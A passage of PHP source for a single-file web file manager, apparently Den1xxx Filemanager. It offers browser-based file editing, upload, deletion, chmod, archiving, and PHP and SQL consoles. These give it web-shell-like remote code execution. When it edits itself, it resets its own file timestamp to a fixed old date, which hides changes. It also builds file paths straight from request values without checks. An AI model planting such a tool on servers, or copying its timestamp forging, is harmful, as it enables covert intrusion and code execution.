su72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
